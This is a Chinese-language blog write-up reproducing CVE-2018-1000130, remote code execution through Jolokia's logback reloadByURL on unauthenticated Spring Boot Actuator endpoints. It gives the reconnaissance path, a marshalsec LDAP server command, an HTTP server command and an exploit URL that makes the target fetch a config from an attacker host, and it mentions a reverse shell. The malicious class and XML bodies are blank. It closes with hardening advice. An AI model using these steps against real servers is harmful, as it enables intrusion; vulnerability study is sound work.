springboot-jolokia-RCE
前言
前段时间在测试时侥幸挖到这个漏洞,原先只打算提交未授权访问,不过后面发现了jolokia logback,属于比较老的,但是危害极大,选择记录一下
正文
jolokia logback XXE 引发的rce
CVE-2018-1000130
从springboot actuator未授权访问漏洞引入
springboot官方文档对每个端点的功能进行了描述。

1、Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
当端点中使用了jolokia时,可能会存在XXE漏洞,远程加载XML但是没有过滤得当,导致加载了恶意代码造成RCE
关于jolokia,GPT是这么说的
JMX API,被称之为被管理的bean,或者MBean,漏洞存在于某些接口中,reloadByURL方法, 这个方法是造成RCE的关键。因为logback组件提供的reloadByURL操作使我们可以从外部URL重新加载日志配置
环境
springboot1.x,jolokia1.6,java1.8(远程加载类还能用的JDK版本)
在本地启动springboot项目

常规的目录扫描就可以找到,需要批量检测可以写个脚本,确定未授权

访问 /jolokia/list ,查看JMX API接口是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL


确认存在,可以尝试攻击
复现
创建java恶意类,javac编译出.class文件放到自己的VPS上
1 |
|
再写一个poc.xml,同样放在VPS同一目录下
1 | <configuration> |
在当前目录下,用python开启一个简单http服务
1 | python3 -m http.server 8080 |
使用marshalsec创建 ldap 服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.130:8080/#POC 8888 |

随后用这样的方式访问加载远程的文件
1 | /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.1.130:8085!/POC.xml |


想要反弹shell,更换恶意类即可,如下

总结
1 | 1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法 |
防护
在application.properties中指定actuator的端口以及开启security功能,配置访问权限验证,这时再访问actuator功能时就会弹出登录窗口,需要输入账号密码验证后才允许访问。
1 | management.port=8099 |
**jolokia **升级到最新版
